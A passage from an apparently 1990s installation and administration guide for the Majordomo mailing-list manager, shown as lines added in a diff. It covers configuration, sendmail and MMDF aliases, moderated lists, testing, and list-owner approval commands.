"majordomo"; it's over the 8-character limit). I made the home + directory /usr/local/majordomo. + + As superuser, add that user and group to /etc/passwd and + /etc/group. Make the home directory, set its owner and group to + "majordom", and set its mode to 775. + + If the person who manages Majordomo doesn't want to "su" to + "majordom", you should add the manager's account to the "majordom" + group. (I think it's not a good idea to maintain Majordomo as the + superuser; permissions and ownerships can accidentally be set + wrong.) If there are list owners on the system, and if they should + be doing routine maintenance, add them to the "majordom" group, + too. + +4. Set up the Majordomo directory structure. Although I like to keep + all of Majordomo and its list files under Majordomo's home + directory, you don't have to. The structure is flexible; you can + separate the programs and the lists if you want to (see the sample + majordomo.cf file a few steps ahead). Here's the structure I'm + using. + + My home directory holds the $log file and the majordomo.cf + configuration file. The subdirectories are: + + - "archive" has subdirectories that hold list archive files. + + - "bin" is where I extracted the Majordomo distribution file: + executable scripts and documentation are here. The documentation + and sample configurations are in a subdirectory named "Doc"; you + might want to move some or all of it somewhere else. + + - "lists" has the files for the lists: subscribers, passwords, and + so on. + + If you aren't installing all of Majordomo in its home directory, + create the other directories now and set their ownership. Create + an empty $log file with owner & group "majordom" and mode 664. + +5. Now you can "su" to the new "majordom" account. (Most of the rest + of the installation doesn't need to be done as root.) + +6. Get a Majordomo distribution file from ftp.greatcircle.com in the + pub/majordomo directory. While you're there, get Brent's paper + about Majordomo (majordomo.paper.ps.Z, in compressed PostScript + format). It's titled "Majordomo: How I Manage 17 Mailing Lists + Without Answering `-request' Mail". The paper has an interesting + overview of how and why he wrote Majordomo, as well as an + introduction to Majordomo for users and administrators. The + Majordomo version it covers is fairly out of date now. To find out + about any new documentation, read the "Changes" file in the + Majordomo distribution. + + In the directory /pub/majordomo/archive are monthly archive files + of all the articles posted to the majordomo mailing lists. They're + worth browsing through someday in your copious free time. There's + lots of information that we don't have the room to cover in this + book. + +7. Extract the Majordomo distribution file into whatever directory you + chose. + + Each Perl script starts with a line that contains the pathname of + the Perl interpreter on Brent's system. If your Perl is in a + different place, you'll need to edit all the script files that + start with "#!" and fix that line. For instance, if your Perl + executable is /stuff/bin/perl, change the first lines to look + like: + + #!/stuff/bin/perl + + Note that the version of "resend" with Majordomo 1.62 (and probably + others) has a "-U" option at the end of the "#!" line. Don't + forget it. + +8. You might want to look through each program for an idea of how it + works. At least, read the "README", "Description", and + "resend.README" files. The "Changes" file also explains some + things that the other files don't. The Doc/samples directory has + samples of files for different list configurations. + +9. Configure Majordomo. Copy the sample.cf to become the majordomo.cf + file. Edit majordomo.cf to set the locations of directories and + files. This is Perl code, so each line (except comments) has to + end with a semicolon (;): + + # $whereami -- Hostname to advertise for machine I'm running on: + $whereami = "ora.com"; + + # $whoami -- Address for users to send my requests: + $whoami = "Majordomo@$whereami"; + + # $whoami_owner -- owner of the above, in case of problems: + $whoami_owner = "Owner-Majordomo@$whereami"; + + # $homedir -- Directory with my extra .pl files, like + # majordomo.pl, shlock.pl, and majordomo_version.pl: + $homedir = "/usr/local/majordomo/bin"; + + # $listdir -- Directory with files for mailing lists: + $listdir = "/usr/local/majordomo/lists"; + + # $log -- Full pathname of the log file I write: + $log = "/usr/local/majordomo/Log"; + + # $mailer -- Program and arguments I use to send mail: + $mailer = "/usr/lib/sendmail -oi -f\$sender \$to"; + + # Majordomo will look for "get" and "index" files related to $list + # in directory "$filedir/$list$filedir_suffix": + $filedir = "/usr/local/majordomo/archive"; + $filedir_suffix = ""; + + # $index_command -- Command for processing an "index" request. + # Majordomo does chdir("$filedir/$list$filedir_suffix") first. + # This one makes a little heading without permissions, links, + # or owner name. This won't work if you use ls -lRL instead: + $index_command = "/bin/ls -lL | \\ + /bin/sed -e 's/^......................//' \\ + -e '1s/.*/ SIZE DATE NAME/'" + + # If you want to use FTPMAIL, rather than local access, for + # file transfer and access, define the following: + # $ftpmail_address = "ftpmail@decwrl.dec.com"; + # $ftpmail_location = "FTP.$whereami"; + + The sendmail "-f\$sender" sets the message's "envelope sender" + address. The backslash (\) makes sure the Perl variable $sender, + which is set by "resend", isn't interpreted until the mail is + sent. In the same way, the "\$to" is replaced with the destination + address. The "-oi" option tells sendmail not to quit if it sees a + line with just a dot (.). If you have big lists or a busy system, + you might also add "-odq" to queue all messages instead of trying + to deliver them immediately. + + Of course, if you don't have sendmail, use a command for sending mail + with your system's MTA. + + I've also hacked the $index_command to make a simpler archive index + than the default "ls -lRL" command does. This makes the output + more user-friendly for users who don't know UNIX, but it won't work + if a list's archive has sub-archives (subdirectories). + +10. Majordomo looks for its configuration file in /etc/majordomo.cf + unless you set the W_MAJORDOMO_CF variable for "wrapper" that makes + it look somewhere else. My personal preference is to keep master + copies of my local files off of /etc, so I made a symbolic link + from /etc/majordomo.cf to /usr/local/majordomo/majordomo.cf. + +11. Install the "wrapper" program. It lets the majordomo script run as + a "trusted user." On non-POSIX systems, that's normally the user + "daemon"; on POSIX systems, it's "root". + + Edit the Makefile and set the "make" macros W_BIN and + W_MAJORDOMO_CF for "wrapper". W_BIN should point to the same + directory as $homedir in the majordomo.cf file. Give + W_MAJORDOMO_CF the absolute pathname of the majordomo.cf file. + Also check W_PATH, W_HOME, W_SHELL; they set the environment + variables PATH, HOME, and SHELL, respectively, during "wrapper". + If you're using a POSIX system, remove the comment characters from + the front of the POSIX section and add them to the non-POSIX + section. + + Some day the "wrapper" program may be eliminated. If you're using + a version of Majordomo newer than version 1.90 and "wrapper" is + missing, see the "Changes" file. + + Go back to the superuser account. (If your shell has job control + and the "suspend" command, that's an easy way to drop back to + "root". [That's assuming you originally typed "su majordom" from + the "root" account.] When you're ready to be "majordom" again, just + use "fg".) Run "make" to build the "wrapper" program. If you + decided to install "wrapper" somewhere other than the current + directory, run "make install". + +12. You may want to copy or move the online manual pages from the + Doc/man directory to your system's online manual page area. + +13. While you're the superuser, edit the MTA alias file to add aliases + like these: + + owner-owner: postmaster + # + # Majordomo + # + majordomo: "|/usr/local/majordomo/bin/wrapper majordomo" + majordom: owner-majordomo + majordomo-owner: jerry + owner-majordomo: majordomo-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + If your "aliases" file doesn't have an "owner-owner" alias, we + recommend it (actually, the Nutshell Handbook "sendmail" does). + Using this special alias will help to find any problems with the + zillions of other "owner-xxx" aliases that you'll be adding as you + configure Majordomo lists. Errors in any "owner-" alias will go to + the system postmaster. + + The setup of the similar-looking "xxx-owner" and "owner-xxx" + aliases is important if you use sendmail version 8. The setup + above makes the envelope sender address "majordomo-owner" instead + of a person's address (here, "jerry"). See the section of Chapter + 2 called "Envelope Sender in Sendmail Version 8". + + Notice that the "majordomo" alias doesn't have the absolute + pathname of the majordomo program. For security, the absolute + pathname is hardcoded into the "wrapper" binary. If you move the + majordomo program, the alias won't work until you recompile + "wrapper". + + Be sure that mail sent to the "majordom" user is routed somewhere. + A sendmail alias could route it to "majordomo" (a good choice if + you'll be getting much mail from systems that truncate mail + addresses to an 8-character length). The alias above routes + "majordom" mail to the person in charge of Majordomo. You could + also use a program like "canned_reply" (see Chapter 1). + + If this sendmail alias file is shared by more than one host, and + they won't all be running the same Majordomo setup (which isn't + likely), you've got some configuring to do. The section of Chapter + 2 called "Problems with Your Local Network" has some tips. + + If your system needs it, run "newaliases" to rebuild the alias + database. + +14. You or list owners may want to have a "bounces" mailing list set + up. If you do, this is a good time to add the aliases and make the + list files. (See the section below named "Setting Up Lists".) + +15. I edited the "request-answer" program to change the mail message + it sends. + Now the message also explains other e-mail addresses at our company. + +Before you turn your users and list owners loose on the system, set up +at least one list and test your system. The section below explains how +to do that. + + +SETTING UP LISTS + +Once you've got Majordomo installed, you'll want to create one or more +mailing lists. The following sections provide a step-by-step procedure +for creating a mailing list, how to make a list moderated, and how to +test the list to make sure it's working. + + +Creating a New List + +New lists are created by adding files to the $listdir directory (named +in majordomo.cf) and by making entries in your MTA aliases file. Here +are the steps: + +1. Pick a name for the list: letters, digits, underbars (_), or dashes + (-) only. To avoid confusing users, it's a good idea not to use + both underbars and dashes for your system's listnames. Choose one + or the other, then use it consistently. + +2. Decide who'll own the list. The address of this person (or + persons) will go on the "listname-approval" and "listname-owner" + aliases for the list. + +3. The owner should pick the subscription approval password. Store it + in the "listname.passwd" file in the $listdir directory. Use + "chmod" to set the file mode to 660. As for all other Majordomo + files, be sure that the group owner is "majordom". + +4. The owner should write a description of the list to be mailed out + for "info" requests and for new subscriptions. Store the + description in the "listname.info" file in the $listdir directory. + (Hint: a good description in the "info" file will save you time by + avoiding questions later.) Set the file mode to 664. + +5. If you want the list to be archived, create a file in the archive + area. Optionally, create an archive directory for the list, in the + location specified by the $filedir and $filedir_suffix variables. + Set the file mode to 664. + +6. Set the subscription policy. If the list owner wants all requests + to be approved automatically, including requests by any user to + subscribe or unsubscribe any other user, create an empty file named + "listname.auto" in the $listdir directory. The list owner will + still be notified when people subscribe or unsubscribe but won't + have to approve them. + + If there isn't a "listname.auto" file, non-routine subscriptions + (requests by any user to subscribe or unsubscribe any other user) + will be sent to the list owner. Routine subscriptions will be + approved automatically (unless there's a "listname.closed" file; + see below). + + A "closed list" requires the list owner to approve all + subscriptions. To close a list, create an empty file named + "listname.closed" in the "lists" directory. To open the list, + remove that file. + +7. Decide whether you want to include comments in the subscriber + list. Normally, Majordomo stores the complete address it gets for + each subscriber. That includes comments like "Jerry Peek" or + "(Phone 123-4567, FAX 234-5678)". These can help you (and other + people) find subscribers when the e-mail address isn't enough. If + you create an empty file named "listname.strip" in the $listdir + directory, comments won't be stored with addresses. + +8. By default, anyone (even non-subscribers) can use the commands + "who", "which", "index", and "get" on a list. If you create an + empty file named "listname.private" in the $listdir directory, only + members of the list can use those commands. + +9. Make a file in the $listdir directory to hold the list's + subscribers. The filename is the same as the listname. + +10. Set up list distribution. The "resend" script, run by the + "wrapper" program, receives and distributes mail for each list. + (Strictly speaking, you don't need "resend" for a simple list. You + can let majordomo manage the subscriber list and use a simple + sendmail alias to distribute messages. But unless you have a + problem with "resend", its features will usually be a help.) + + The table below explains the "resend" options you can use; the only + required options are "-l" (the list name) and "-h" (the host name). + Pick the options and settings you'll use; there are examples below. + You should probably check the "resend.README" file for any changes + in this list of options. + + - "-C config-file" names an alternate configuration file that only + "resend" uses. The default is the main majordomo.cf file. + + If you use the "-C" option, it MUST BE THE FIRST OPTION given. + + - "-l list-name", which is required, gives the name of the mailing + list. + + - "-h host-name", which is required, gives the fully-qualified + domain name of the computer running Majordomo. + + - "-A" makes the list moderated. To create a moderated list, see + the section below called "Making a Moderated List". (Use the + "-a" option, too.) Also see the "-I" option. + + - "-a password" sets the approval password for moderated lists + and other messages that have been rejected for some reason. + (If the list will be moderated, use the "-A" option, too.) + + If the argument starts with a slash (/), it's used as the + pathname to a file that contains the password. If your MTA has + an SMTP VRFY command, use a pathname for security; see the + section "Making a Moderated List". + + - "-d" sets debugging: instead of running the commands, "resend" + writes the command lines it would run to its standard output. + + - "-f from-address" is used as the "envelope sender" address for + messages on the list. (See the part of Chapter 1 called "`From ' + vs. `From:'".) It's also the "approval address" used for any + message that "resend" needs to bounce to the list owner. If you + don't give "-f", the default address is "listname-request". + + - "-I filenames" is used to restrict who can post to a list. The + "filenames" argument is a list of one or more files, separated + by colons (:), in the $listdir directory. The files contain + addresses that are allowed to send messages to the list. If the + message doesn't have a valid "Approved:" header and the sender's + "From:" address isn't on this list, the message will be bounced + to the list owner. + + For example, a company might want a general announcements list + that only a few employees should send messages to. Instead of + making the list moderated (which would add overhead) they can use + the name of a file with the addresses of people who are approved + to send mail to the list. This isn't very secure because any + user can forge a "From:" address easily. Still, this is an easy + way to stop messages (replies, for example) from being sent to + the list accidentally. It also doesn't require all the people + who post to know the article approval password. + + - "-m sendmail-flags" is the place to store any sendmail flags you + want used when mail is sent to the list. For example, "-m -odq" + will queue messages instead of trying to deliver them + immediately. To use more than one sendmail option, put single + quotes around the options--for example, "-m '-odq -oi'". + + - "-M maximum-message-length" is the maximum message size, in + bytes, that "resend" will send to the list. Bigger messages are + forwarded to the list owner for approval. + + - "-p precedence" will add a "Precedence: precedence" header + component to messages. Many lists use "-p bulk". (See the + section of Chapter 1 called "Bounced Mail".) + + - "-R" will delete "Received:" header components on incoming + messages. + + - "-r reply-to" will add a "Reply-To: reply-to" header component. + + - "-s" enables "administrivia" checks. With this option, "resend" + does two checks of each message. If the message's subject has a + word that ends in "subscribe" or "unsubscribe", upper or lower + case, it will be bounced. Also, if the first five lines of the + message body have the words "add me", "delete me", "subscribe", + "sub", "unsubscribe", or "unsub", upper or lower case, anywhere + in those lines, the message will be bounced. + + The list owner can bypass the administrivia checks by adding a + valid "Approved:" header and re-sending the message to the list. + +11. Add list aliases to the sendmail (or other MTA) aliases file. Here + are some for an unmoderated, archived list named "sample" on the + host foo.com.au: + + # + # Sample mailing list + # + owner-sample: sample-owner + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample-owner: jerry + sample-approval: sample-owner + sample-outgoing: + :include:/usr/local/majordomo/lists/sample, sample-archive + owner-sample-outgoing: sample-owner + sample-archive: /usr/local/majordomo/archive/sample/sample + owner-sample-archive: sample-owner + sample-request: + "|/usr/local/majordomo/bin/wrapper request-answer sample" + owner-sample-request: sample-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + The aliases are: + + - "listname-owner" (and "owner-listname", which points to it) is + the list owner, the person (or people) in charge of the list. A + lot of the other aliases can point to this one. + + As Chapter 2 explains, sendmail uses the "owner-xxx" aliases for + errors. Majordomo uses the "xxx-owner" aliases. (Actually, an + "xxx-owner" alias isn't used by Majordomo itself--but aliases + that Majordomo uses are set up to point to "xxx-owner".) + + - "listname" runs the "wrapper" program to set the correct + permissions. Then "wrapper" starts "resend" to send the message + to the list. (Brent wants to get rid of "wrapper" some day.) + + This is where the "resend" options are set (see the list above). + The alias ends with the distribution address (here, + "sample-outgoing"). + + Here's a useful trick from Brent Chapman. Some versions of + sendmail have a 256-character length limit for aliases. A + "resend" line with a lot of arguments can easily go over that + limit. To solve this, you can put all the "resend" arguments in + a file called "listname.resend". Set up the alias with + backquotes (grave accents) and "cat"--like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + `/bin/cat /usr/local/majordomo/lists/sample.resend` + sample-outgoing" + + When sendmail interprets the alias, it will be fairly short. The + shell will run "cat"--and replace the backquoted string with the + "sample.resend" file contents--after sendmail has finished + interpreting the alias. + + Another advantage of this is that the majordomo administrator can + change the list's "resend" configuration without editing the + system aliases file. + + - "listname-approval" is the person (or people) who approves + subscriptions to closed lists, subscriptions or unsubscriptions + at a different address, and mailings to moderated lists. This + can usually point to "listname-owner". + + - "listname-outgoing" is the actual list of people subscribed to + the list. The sendmail ":include:" directive reads the + subscribers list at the time a message is sent. If the list is + archived, add the name of the archive alias (like + "listname-archive") too. + + - Optional (I recommend it): By convention, many Internet mailing + lists have a subscription address of "listname-request". + Although your list doesn't use that address (it uses + "majordomo"), the "request-answer" program can answer mail sent + to that address. You may want to edit the "request-answer" + program to send a different message--for example, to give + information about places to get help and information (local + addresses, phone numbers, etc.) at your company. + + - Optional: The "new-list" script can answer mail sent to the list + for the first few days. The message asks people to wait to post + messages for a few days until most subscribers have joined the + list. "new-list" also returns the sender's message. + + To install "new-list", "comment out" the "listname" alias and put + "new-list" in its place temporarily: + + # sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + # -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample: "|/usr/local/majordomo/bin/wrapper new-list Sample" + + After a few days, the system administrator should install the + permanent list alias. The owner should send an announcement that + the list is "open for business." + + Most of the alias names starting with "owner-" tell sendmail where + to send errors caused by the corresponding alias. For example, if + there's a problem with the "sample-archive" alias, sendmail will + complain to "owner-sample-archive". These "owner-" aliases will + usually be easier to maintain if you point them to an overall alias + (like "owner-sample" or "postmaster") instead of a particular user + (like "jerry"). + + As before, if this sendmail alias file is shared by more than one + host, and they won't all be running the same Majordomo setup, there + are tips in the section of Chapter 2 called "Problems with Your + Local Network". + +12. Make sure everything is owned by user "majordom", group "majordom", + and writable by both owner and group (that is, mode 664 for files + and mode 775 for directories). In a lot of cases, files and + directories don't need world access; you can use modes 660 and + 770. But check and test carefully; it's better to leave everything + world-readable unless you're sure things work okay without it. + + If you need to be very careful about permissions, think about how + each file will be read and written. Many files are accessed by + programs invoked from "wrapper"; those files only need permission + for access by "wrapper"'s UID and GID. Files that will be written + by users logged on interactively (like the list administrator) may + also need write permission for the "majordom" group. Files written + directly from a sendmail alias (the list archive files) probably + need world write permission because of the variety of UIDs and GIDs + that sendmail may run as. + + +For MMDF Systems + +The examples in the steps above are for systems with the sendmail MTA. +Here are examples for systems that use the MMDF MTA. (Thanks to Morna +Findlay for these examples.) The leading name "majordom|" means the +"majordomo" and "sample" aliases will run as the user "majordom". This +is from the MMDF aliases file: + + majordomo: "majordom|/usr/local/majordomo/bin/wrapper majordomo" + owner-majordomo: jerry + majordomo-owner: jerry + +Now, for the sample mailing list, here are entries from the MMDF +"lists" file. In MMDF, mailing lists have their own channel: + + sample: sample-outbound@list-channel + sample-outbound: :include:/usr/local/majordomo/lists/sample + sample-request: "majordom|/usr/local/majordomo/bin/wrapper request-recording sample" + sample-approval: jerry + owner-sample: jerry + + +Making a Moderated List + +A list owner may want to approve every message before it goes to the +list. The list might distribute official company statements, or begin +to carry lots of inappropriate messages and "noise" that subscribers +don't want to see. One common reason is that people accidentally send +subscription requests to the list itself instead of to the "majordomo" +address. Having one person filter these out can potentially save +thousands of people from wasting time on them. (Also see the "resend +-s" and "-I" options.) + +To make a list moderated, add the options "-A" and "-a password" to the +list's alias (its "resend" command) in your system alias file. The +argument to "-a password" is the password that the list owner adds to a +message header to approve an article: + + Approved: BigSecret + +The revised list entry in the sendmail aliases file would look like: + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a BigSecret + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Like other Majordomo features, this isn't especially secure. If your +system's sendmail has a VRFY command, anyone can find the list +password. Also, the list owners can't change their article approval +password unless you (the system administrator) edit the system alias +file. An easy fix is to give the full pathname of a file, starting +with a slash (/), as the argument to the "-a" option. In the example +below, "resend" will read in the subscription approval password (from +the list's "sample.passwd" file): + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a /usr/local/majordomo/lists/sample.passwd + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Of course, you could use a different password file (instead of the list +subscription password). The advantage of using the list subscription +password for article approval is that the list owner can change both +passwords by e-mail. + +**NOTE** As mentioned before, the "-a" password isn't just used for +moderated lists. It's used to approve any message that "resend" +bounces because of things like administrivia ("-s" flag) and length +("-M" flag). + +To find out how to approve a message, see the section "Managing the +Lists", below. + + +Testing Your Installation + +You should have set up at least one list by now. A nice way to test +majordomo is with the sendmail "-v" ("verbose") switch; it shows you +what's happening. + +In case something is set up wrong, it's a good idea to have a superuser +shell ready to do some fast cleanup. + +1. Send a test "help" message to majordomo. I found a permission + problem right away: + + % echo help | /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + (error message repeated every second or so) + + Because I had a superuser shell ready, it was easy to kill the perl + process running on that terminal. I deleted the queued message from + the /usr/spool/mqueue directory, fixed the permission problem (the + home directory wasn't group-writable), and tried again. (One of + this book's reviewers told me that his system required all files be + owned by "daemon". He also had to make "daemon" the W_UID in his + Makefile. I don't see why, but there are a lot of systems out + there; this tip might help you too.) + + Majordomo sent me a help message: + + From Owner-Majordomo@ora.com Mon Aug 2 11:36:15 1993 + Date: Mon, 2 Aug 93 11:36:13 PDT + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> help + ... + Commands should be sent in the body of an email message to + "Majordomo@ora.com". + + Commands in the "Subject:" line NOT processed. + + If you have any questions or problems, please contact + "Owner-Majordomo@ora.com". + + Check the addresses in that message to be sure they're right. + +2. I tested the "request-answer" program by mailing to "sample-request" + (my test list was named "sample"): + + % echo help | /usr/lib/sendmail -v sample-request + ... + + Again, I checked the addresses in the returned message. In this + message and the one before, the envelope sender (shown in the "From + " or "Return-Path:" lines) should be one of the Majordomo aliases: + + From sample-request Mon Aug 2 11:41:26 1993 + Return-Path: + + That's because the "wrapper" program runs as "daemon" (or, on POSIX + systems, as "root")--and those users are on the trusted user list in + the sendmail configuration file (/etc/sendmail.cf): + + T root daemon uucp + + The trusted user settings aren't something to experiment with. If + you're having trouble getting the right envelope sender address, + check a reference for your MTA. (The Nutshell Handbook "sendmail" + should be a help if you use that MTA.) + +3. Next, be sure that your system's MTA is configured right to send + mail across a network. Go to another account on another computer, + send mail to "majordomo", then check the return addresses in the + message headers. You might ask a friend at another company to do + the same thing. + +4. Subscribe to the sample list. (I did it from another computer.) + + You should get a welcome message and a "Majordomo results" message: + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:28 1993 + Date: Mon, 2 Aug 93 12:24:42 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Welcome to sample + Reply-To: Majordomo@ora.com + + Welcome to the sample mailing list! + + If you ever want to remove yourself from this mailing list, send the + following command in email to "Majordomo@ora.com": + + unsubscribe sample jerry@foobar.ora.com (Jerry Peek) + + Here's the general information for the list you've subscribed to, in + case you don't already have it: + + ...you should get a copy of the sample.info file here... + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:30 1993 + Date: Mon, 2 Aug 93 12:24:41 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> subscribe sample + Succeeded. + +5. Look at the log file; be sure these transactions are being logged. + +6. Send a message to the sample list: + + % /usr/lib/sendmail -v sample@ora.com + Subject: test message to sample list; will this make a log file? + + Hi, folks. + ^D + ...watch the transaction... + + And look at the message sent to the list. + + From Sample-Owner@ora.com Mon Aug 2 15:27:12 1993 + From: Jerry Peek + Date: Mon, 2 Aug 1993 12:26:58 EDT + To: sample@ora.com + Subject: test message to sample list; will this make a log file? + Sender: Sample-Owner@ora.com + Precedence: bulk + + Hi, folks. + + Be sure that the message is going into the list archive file, if + any. + + If you're planning to set up the "new-list" script, "comment out" + the list's current "resend" alias (add a "#" before it) and set up + "new-list". Test it to be sure you get a reply. + +7. If the list is closed, private, or moderated, check whether those + features are actually working. Test the list owner's account to be + sure mail gets there--including mail about the routine subscriptions + and unsubscriptions. + + Try sending a message from some other account to unsubscribe you. + Your request should be forwarded to the list owner unless you + created a "listname.auto" file. + +8. Try the "newinfo" and "passwd" commands from the list owner + account. (See "Majordomo Commands for List Owners", below.) The + corresponding files in the list directory should be updated. + +9. If you've made a list archive, there should be a file in it by now. + Get a listing of the archive and a copy of the file: + + % /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + index sample + get sample archive + ^D + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + "|/usr/local/majordomo/bin/wrapper majordomo"... sent. + + If you didn't see any errors, you should get two mail messages. One + is a copy of the file; the other holds the results of the majordomo + session: + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo file: list 'sample' file 'archive' + Reply-To: Majordomo@ora.com + + -- + + >From Sample-Owner Mon Aug 2 12:37:46 1993 + Received: by ora.com (5.65c/Spike-2.1) + id AA05037; Mon, 2 Aug 1993 12:35:17 -0700 + + ...copy of messages from the list... + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + -- + + >>>> index sample + SIZE DATE NAME + 5383 Sep 6 01:58 archive + >>>> get sample archive + List 'sample' file 'archive' + is being sent as a separate message. + + +MANAGING THE LISTS + +Majordomo makes day-to-day operation of a mailing list easier, but +there are still things to do. If your mailing lists are open (anyone +can subscribe) and unmoderated (anyone can post), you'll get fewer +messages, but you should still expect some. + +When mail (a subscription, unsubscription, or an article intended for a +moderated list) needs approval, majordomo sends the message to the list +owner(s). Any list owner (and in fact, anyone who knows the list +password) can send an approval message back to Majordomo to approve the +request. + +A "list owner" is the person (or people) listed on the +"listname-approval" alias in your system aliases file. (For sendmail, +that filename is usually /usr/lib/aliases or /etc/aliases.) + +Note that Majordomo lets you put different people on the +"listname-approval" and "listname-owner" aliases. If you split those +duties between two different people, keep that in mind as you read the +sections below. I've assumed that all list messages needing action go +to a single "list owner." + + +A List Owner's Account + +All a list owner needs is to be able to send and receive e-mail. The +owner doesn't need to have login access to the system where the list is +handled. + +The list owner doesn't even need to be on a UNIX system, although +majordomo comes with some UNIX scripts that make life easier for the +list owner. + + +Majordomo Commands for List Owners + +The requests for users can also be used by list owners. But there are +three more password-protected commands just for list owners. These +aren't mentioned in Majordomo's help file. If the owner doesn't have +an account on the machine where Majordomo runs, these commands allow +routine housekeeping via e-mail: + +- approve password subscribe/unsubscribe list address" + + Subscribe or unsubscribe someone from the list "list". For + example: + + approve !BooM! subscribe donut-makers Bob Baker + approve !BooM! unsubscribe donut-makers john.dough@bakers.org + +- passwd list old-password new-password + + Change the subscription approval password for "list" from + "old-password" to "new-password". Remember that this password is + stored, unencrypted, on the computer running Majordomo. Don't use + your login password! + +- newinfo list password + + Change the text in the "listname.info" file (the text a user + receives when they mail an "info" command or subscribe to the + list). The text is taken from the rest of the mail message until a + line with the three upper-case letters "EOF" at the start. + + Majordomo version 1.90, which should be out by the time this book is + printed, has a few new commands for list owners: (Thanks to John + Rouillard for this summary.) + +- config list password + + E-mails a copy of the configuration file for "list" to the owner. + The owner can edit the configuration file and send it back with + "newconfig". + + newconfig list password + ...config file contents here... + EOF + + The "newconfig" command installs a new configuration file for + "list". After you type the "newconfig" command, the rest of the + mail message should be a copy of the new configuration file. + +- writeconfig list password + + Rewrites the configuration file into standard form--including all + documentation in the configuration file. + +- mkdigest list password + + Force a digest to be generated for "list". + + +Approving Subscriptions and Moderating with "approve" + +The list owner will receive three types of mail messages from +Majordomo: + +- For subscriptions that need approval, you'll get a message with + APPROVE in the subject line. For closed lists all subscriptions + need approval. For open lists, approval is necessary only for + subscriptions where the subscriber specifies an e-mail address other + than their own. + +- For moderated lists, or for other messages that "resend" rejects, + you'll get a message with BOUNCE in the subject line. The subject + will tell you the reason for the bounce, and the body will contain + the whole bounced message. You decide whether this message is + appropriate to be sent to all the subscribers. + +- Reports of successful subscriptions and unsubscriptions. + +Majordomo includes "approve", a Perl script for making these chores +easier. For subscription requests, "approve" sends an e-mail message +back to "majordomo" indicating that the subscription should be +accepted. For messages submitted to moderated lists, "approve" adds an +"Approved:" header and re-sends the message to the list. The next two +sections show how to do these things manually in case the list owner is +on a system where "approve" (or Perl) can't run. They also show the +e-mail messages that fly back and forth. + +"approve" can be run either on the machine where majordomo is running +or on a remote machine where the list owner is managing the list by +e-mail. The "approve" script assumes that the Perl interpreter is in +/usr/local/bin/perl. If Perl is somewhere else, the first line of the +"approve" script should be edited to the path for that system: + + #! /usr/local/bin/perl + +"approve" uses a file named ".majordomo" (the name starts with a dot) +in the owner's home directory. It has an entry for each of the owner's +lists: the list name, list password and e-mail address of its +Majordomo server. There's a tab character (NOT space characters) +between the three fields in each line. For example, this is the +".majordomo" file for the owner of the "donut-makers" and +"mud-wrestlers" mailing lists: + + donut-makers !BooM! majordomo@bakers.org + mud-wrestlers GoJoan majordomo@foo.bar.com + +For security, it's a good idea to protect the file from other users. +Use a command like "chmod 600 .majordomo". + +To approve a request, feed the original approval-request message from +Majordomo to the "approve" script. Messages can be saved in separate +files, one per message, and named on the command line: + + % approve file1 file2 etc. + +Messages can also be fed to the standard input of "approve". For +example, in MH mail, where the "show" command displays a message: + + % scan 32 + 32+ 09/05 Majordomo@bakers.o APPROVE donut-makers<<-- postmaster@yu + % show | approve + +Or in "mush", the Mail User's Shell: + + ... + > 32 Majordomo@bakers.org Sep 5, (29/804) "APPROVE donut-makers" + ... + Msg 32 of 78: pipe approve + +The command in the Berkeley "mail" program is simply a vertical bar +(|). (For other mailers, check your documentation or help screen.) + + +Approving Subscriptions without "approve" + +It's possible that a list owner may be using a PC or some other system +where the "approve" script won't work. In that case, everything that +"approve" does can be done manually. This section and the next may +also be useful for those who want to know what "approve" does in more +detail. + +If someone sends a non-routine subscription to "majordomo", the server +sends a message to the list owner. There are two kinds of non-routine +subscription. One is when the person sends a subscribe/unsubscribe +command with a different e-mail address than their own. The other is +if the list is "closed"--that is, when the owner must approve all new +subscriptions. + +For example, the system postmaster at a bakery might want to set up a +list exploder (see Chapter 2) for the "donut-makers" mailing list. She +adds an exploder named donut-makers-dist@yummybake.com and sends this +mail to the Majordomo server: + + From: postmaster@yummybake.com + To: majordomo@bakers.org + + subscribe donut-makers donut-makers-dist@yummybake.com + +When Majordomo gets the message, it sees that the subscription address +isn't the same as the sender's address. So it sends the following mail +message to the list owner: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: donut-makers-approval + From: Majordomo@bakers.org + Subject: APPROVE donut-makers + Reply-To: Majordomo@bakers.org + + -- + postmaster@yummybake.com requests that you approve the following: + + subscribe donut-makers donut-makers-dist@yummybake.com + + If you approve, please send a message such as the following back to + Majordomo@bakers.org (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD subscribe donut-makers donut-makers-dist@yummybake.com + + If you disapprove, do nothing. Thanks! + + Majordomo@bakers.org + +If an owner doesn't want to apprive the subscription 